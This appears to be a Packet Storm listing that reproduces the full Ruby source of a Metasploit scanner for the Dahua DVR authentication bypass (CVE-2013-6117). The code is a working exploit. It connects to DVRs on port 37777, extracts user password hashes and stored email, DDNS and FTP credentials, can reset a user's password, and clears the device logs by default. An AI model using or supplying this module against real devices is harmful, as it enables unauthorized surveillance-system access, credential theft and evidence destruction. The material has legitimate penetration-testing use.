Security
Headlines
HeadlinesLatestCVEs

Headline

Dahua DVR Authentication Bypass Scanner

This Metasploit modules scans for Dahua-based DVRs and then grabs settings. Optionally resets a users password and clears the device logs.

Packet Storm
#vulnerability#git#intel#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::Tcp  include Msf::Auxiliary::Scanner  include Msf::Auxiliary::Report  def initialize    super(      'Name'            => %q(Dahua DVR Auth Bypass Scanner),      'Description'     => %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user's password and clears the device logs),      'Author'          => [        'Tyler Bennett - Talos Consulting', # Metasploit module        'Jake Reynolds - Depth Security', # Vulnerability Discoverer        'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module        'Nathan McBride' # regex extraordinaire      ],      'References'      => [        [ 'CVE', '2013-6117' ],        [ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]      ],      'License'         => MSF_LICENSE,      'DefaultAction'  => 'VERSION',      'Actions'        =>        [          [ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],          [ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],          [ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],          [ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],          [ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],          [ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],          [ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],          [ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],          [ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]        ]    )    register_options([      OptString.new('USERNAME', [false, 'A username to reset', '888888']),      OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),      OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),      Opt::RPORT(37777)    ])  end  U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"  # Payload to grab version of the DVR  VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to grab Email Settings of the DVR  EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \          "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to grab DDNS Settings of the DVR  DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \         "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to grab NAS Settings of the DVR  NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \        "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to grab the Channels that each camera is assigned to on the  DVR  CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \             "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \             "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to grab the Users Groups of the DVR  GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \           "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to grab the Users  and their hashes from the DVR  USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \          "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to grab the Serial Number of the DVR  SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  # Payload to clear the logs of the DVR  CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \               "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  def setup    @password = datastore['PASSWORD']    @password ||= Rex::Text.rand_text_alpha(6)  end  def grab_version    connect    sock.put(VERSION)    data = sock.get_once    return unless data =~ /[\x00]{8,}([[:print:]]+)/    ver = Regexp.last_match[1]    print_good("#{peer} -- version: #{ver}")  end  def grab_serial    connect    sock.put(SN)    data = sock.get_once    return unless data =~ /[\x00]{8,}([[:print:]]+)/    serial = Regexp.last_match[1]    print_good("#{peer} -- serial number: #{serial}")  end  def grab_email    connect    sock.put(EMAIL)    return unless (response = sock.get_once)    data = response.split('&&')    print_good("#{peer} -- Email Settings:")    return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i    if mailhost = Regexp.last_match[1].split(':')      print_status("#{peer} --  Server: #{mailhost[0]}") unless mailhost[0].blank?      print_status("#{peer} --  Server Port: #{mailhost[1]}") unless mailhost[1].blank?      print_status("#{peer} --  Destination Email: #{data[1]}") unless data[1].blank?      mailserver = "#{mailhost[0]}"      mailport = "#{mailhost[1]}"      muser = "#{data[5]}"      mpass = "#{data[6]}"    end    return if muser.blank? && mpass.blank?    print_good("  SMTP User: #{data[5]}")    print_good("  SMTP Password: #{data[6]}")    return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?    report_email_cred(mailserver, mailport, muser, mpass)  end  def grab_ddns    connect    sock.put(DDNS)    return unless (response = sock.get_once)    data = response.split(/&&[0-1]&&/)    ddns_table = Rex::Text::Table.new(      'Header' => 'Dahua DDNS Settings',      'Indent' => 1,      'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']    )    data.each_with_index do |val, index|      next if index == 0      val = val.split("&&")      ddns_service = val[0]      ddns_server = val[1]      ddns_port = val[2]      ddns_domain = val[3]      ddns_user = val[4]      ddns_pass = val[5]      ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]      unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?        if datastore['VERBOSE']          ddns_table.print        end        report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)      end    end  end  def grab_nas    connect    sock.put(NAS)    return unless (data = sock.get_once)    print_good("#{peer} -- NAS Settings:")    server = ''    port = ''    if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/      server = Regexp.last_match[1].unpack('C*').join('.')      port = Regexp.last_match[2].unpack('S')    end    if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data      ftpuser.strip!      ftppass.strip!      unless ftpuser.blank? || ftppass.blank?        print_good("#{peer} --  NAS Server: #{server}")        print_good("#{peer} --  NAS Port: #{port}")        print_good("#{peer} -- FTP User: #{ftpuser}")        print_good("#{peer} -- FTP Pass: #{ftppass}")        report_creds(          host: server,          port: port,          user: ftpuser,          pass: ftppass,          type: "FTP",          active: true)      end    end  end  def grab_channels    connect    sock.put(CHANNELS)    data = sock.get_once.split('&&')    channels_table = Rex::Text::Table.new(      'Header' => 'Dahua Camera Channels',      'Indent' => 1,      'Columns' => ['ID', 'Peer', 'Channels']    )    return unless data.length > 1    data.each_with_index do |val, index|      number = index.to_s      channels = val[/([[:print:]]+)/]      channels_table << [ number, peer, channels ]    end    channels_table.print  end  def grab_users    connect    sock.put(USERS)    return unless (response = sock.get_once)    data = response.split('&&')    usercount = 0    users_table = Rex::Text::Table.new(      'Header' => 'Dahua Users Hashes and Rights',      'Indent' => 1,      'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']    )    data.each do |val|      usercount += 1      user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures      users_table << [ peer, user, md5hash, groups, rights, name]      # Write the dahua hash to the database      hash = "#{rhost} #{user}:$dahua$#{md5hash}"      report_hash(rhost, rport, user, hash)      # Write the vulnerability to the database      report_vuln(        host: rhost,        port: rport,        proto: 'tcp',        sname: 'dvr',        name: 'Dahua Authentication Password Hash Exposure',        info: "Obtained password hash for user #{user}: #{md5hash}",        refs: references      )    end    users_table.print  end  def grab_groups    connect    sock.put(GROUPS)    return unless (response = sock.get_once)    data = response.split('&&')    groups_table = Rex::Text::Table.new(      'Header' => 'Dahua groups',      'Indent' => 1,      'Columns' => ['ID', 'Peer', 'Group']    )    data.each do |val|      number = "#{val[/(([\d]+))/]}"      groups = "#{val[/(([a-z]+))/]}"      groups_table << [ number, peer, groups ]    end    groups_table.print  end  def reset_user    connect    userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password    u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"    u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"    u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \         "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring    sock.put(u1)    sock.put(u2)    sock.put(u3)    sock.get_once    sock.put(u1)    return unless sock.get_once    print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")  end  def clear_logs    connect    sock.put(CLEAR_LOGS1)    sock.put(CLEAR_LOGS2)    print_good("#{peer} -- logs cleared")  end  def peer    "#{rhost}:#{rport}"  end  def run_host(_ip)    begin      connect      sock.put(U1)      data = sock.recv(8)      disconnect      return unless data == DVR_RESP      print_good("#{peer} -- Dahua-based DVR found")      report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")      case action.name.upcase      when 'CHANNEL'        grab_channels      when 'DDNS'        grab_ddns      when 'EMAIL'        grab_email      when 'GROUP'        grab_groups      when 'NAS'        grab_nas      when 'RESET'        reset_user      when 'SERIAL'        grab_serial      when 'USER'        grab_users      when 'VERSION'        grab_version      end      clear_logs if datastore['CLEAR_LOGS']    ensure      disconnect    end  end  def report_hash(rhost, rport, user, hash)    service_data = {      address: rhost,      port: rport,      service_name: 'dahua_dvr',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      module_fullname: fullname,      origin_type: :service,      private_data: hash,      private_type: :nonreplayable_hash,      jtr_format: 'dahua_hash',      username: user    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_data)    create_credential_login(login_data)  end  def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)    service_data = {      address: ddns_server,      port: ddns_port,      service_name: 'ddns settings',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      module_fullname: fullname,      origin_type: :service,      private_data: ddns_pass,      private_type: :password,      username: ddns_user    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_data)    create_credential_login(login_data)  end  def report_email_cred(mailserver, mailport, muser, mpass)    service_data = {      address: mailserver,      port: mailport,      service_name: 'email settings',      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      module_fullname: fullname,      origin_type: :service,      private_data: mpass,      private_type: :password,      username: muser    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED    }.merge(service_data)    create_credential_login(login_data)  endend

Packet Storm: Latest News

Scapy Packet Manipulation Tool 2.6.1